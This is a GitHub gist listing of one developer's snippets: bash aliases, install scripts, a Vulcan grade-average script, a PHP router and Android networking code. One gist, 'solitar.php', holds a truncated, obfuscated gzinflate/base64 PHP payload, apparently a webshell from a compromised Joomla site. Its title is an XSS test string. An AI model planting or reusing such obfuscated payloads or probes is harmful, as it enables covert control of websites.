Skip to content

Instantly share code, notes, and snippets.

View mklkj's full-sized avatar
🏠
Working from home

Mikołaj Pich mklkj

🏠
Working from home
View GitHub Profile
@mklkj
mklkj / avarage.js
Last active December 29, 2016 22:53
Oblicza średnią ważoną w dzienniku Vulcan
(function(){
"use strict";
var tableSelector = '.ocenyZwykle-table';
var tableHeaderSelector = tableSelector + ' > thead > tr';
var subjetsSelector = 'tbody tr';
var ratingsSelector = 'td.break-word span';
var summaryContainerClass = 'whole-avarage';
(function(){
@mklkj
mklkj / script.sh
Created March 6, 2017 01:36
Configure travis release deploy
# https://docs.travis-ci.com/user/deployment/releases/
travis setup releases
@mklkj
mklkj / backlight.sh
Created March 30, 2017 15:03
CM Storm Devastator backlight enable linux script
# https://ubuntuforums.org/showthread.php?t=2208222
xmodmap -e 'add mod3 = Scroll_Lock'
@mklkj
mklkj / bash_aliases.sh
Last active March 30, 2017 15:08
Bash aliases
# upgrade system
alias upgrade='apt update; apt upgrade -y; apt dist-upgrade -y'
# recursive git pull
alias git-pull-all='find $(git rev-parse --show-toplevel 2> /dev/null) -name .git -type d -execdir git pull -v ";"'
# group directories first on files list
alias ll='ls --color -lh --group-directories-first'
@mklkj
mklkj / dreamsparkdownloader.sh
Created March 30, 2017 15:12
DreamSpark downloader
#!/usr/bin/env bash
# Download files from DreamSpark
# Project use Linux-SDM-Downloader and xSDM
# Usage:
# chmod u+x dreamsparkdownloader.sh
# ./dreamsparkdownloader.sh <sdx-file>
sdx_file=$1
@mklkj
mklkj / solitar.php
Last active June 16, 2017 21:03
joomla/language/solitar.php?r=<script>alert('vuln')</script>
<?php
// <?php gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBkRxZn0f6q3Gcs+2Ys/abIVOPpfXmRTXvz5R4hjYd08eetcBFr0pQjoAYzFmIynUXP1twBDkLIVp9ku+c7Gx5lyEF+AfGl46hmBJ2dJhdAoYcgoAcgoEGCd704NBkZh3JT7URtf9ULOY63oANpGgLaEyxaIjYrUobLnFxrY0JUBlKutU7vwbBbqMphfHIIECoKY+6Vtuc9faLhiYoaaiRQZ/PsOytJMCrUyWCyIlONrDX3SPSAY6DBa+qgdbQ0hdj9vO5nEC8xfWfrx87UpvN75Zgcpsi5oDTlOTKhDWjV7KdQl8DDUeuOuLq4QyUbLaxvrxi+jAtI8cWalNA3mcDk3jUWnaWEhjxa+E5vcQKfvuPe9COYLfdgKKOJCy0YQeWYJgk8Ay4jlG18uPYRrbE8kMFxUlEyGiLMNuZxfCerym9revTNClL6x0rOjZsW7B/OxvucQBiOPKAgazFIv0dJklb25wUK5y6ayJVD08U5uNhhe6PKWOhVQwalRPiB0e2sa/aambwGDc6mbxH6miFTuW8cslDNiehK1DFSJ+Mu8labIfe5qFy3P9AjbJGoxMC/2B4XlJhCwNngh9+a6tylHnmAfIMWN4BagXR2Pr3sJrFQd+Pe6dvXLM0URAXIO0TyrIx32Ec1KR2ShUABGsl1PKxo4HwtcTaGP+R2maGnr+ONOi7NCBacWX6JwJLXHBB5wmGNg2K08uHv74JOjRDQ/dMnjreegp+KRcA2i9nikxEE6lJay5Y0bJ7XM7sHsSHX68LbzeglWqyLPKSqLzcQ4wVqnKQIDOuRwTdvTLCOsgahCKd7O8kdneiSZArkuhIDNCtKnUsQoSSj2Iqet1GDw3q18vGCZNAmrST9YF4qUppq0lFVDfQzutzmOdApX9K7OIqrLCOmzi/R9dTjZXKPK/I6CtIiRV8E/px42R51
@mklkj
mklkj / router.php
Last active August 22, 2017 15:45
wget -r php server router
<?php
$request = $_SERVER['REQUEST_URI'];
$root = __DIR__;
// workaround https://bugs.php.net/bug.php?id=61286
$_SERVER['SCRIPT_NAME'] = '/index.php';
$requestFile = $root.$request;
$index = $root.'/index.php';
@mklkj
mklkj / wulkanowy-api.java
Last active September 22, 2017 07:42
io.github.wulkanowy.api
import io.github.wulkanowy.api.Vulcan;
Vulcan vulcan = new Vulcan();
/**
* io.github.wulkanowy.api.login
*/
vulcan.login("email", "password", "symbol", "id" /*optional*/);
// StudentAndParent.class
@mklkj
mklkj / packetracerinstallscript.sh
Last active September 24, 2017 18:01
Packet Tracer 7.1 x64 (k)ubuntu 17.04
// download and unpack https://www.netacad.com/group/offerings/packet-tracer/
cd PacketTracer71_64bit_linux/
sudo ./install
// if cant start
sudo apt-get install libqt5scripttools5:i386 libqt5scripttools5
rm /usr/local/bin/packettracer
@mklkj
mklkj / Api.kt
Last active June 22, 2019 16:05 — forked from ar-android/Api.java
OkHttp With RxAndroid and RxJava
fun getData(): Single<Response> {
val client = OkHttpClient()
val request = Request.Builder()
.url("https://github.com/ar-android/panfic/raw/master/Panfic/gen/com/ocit/data.json")
.get()
.addHeader("cache-control", "no-cache")
.addHeader("postman-token", "ac8311d5-3876-ea1e-53d3-85f9e397ea21")
.build()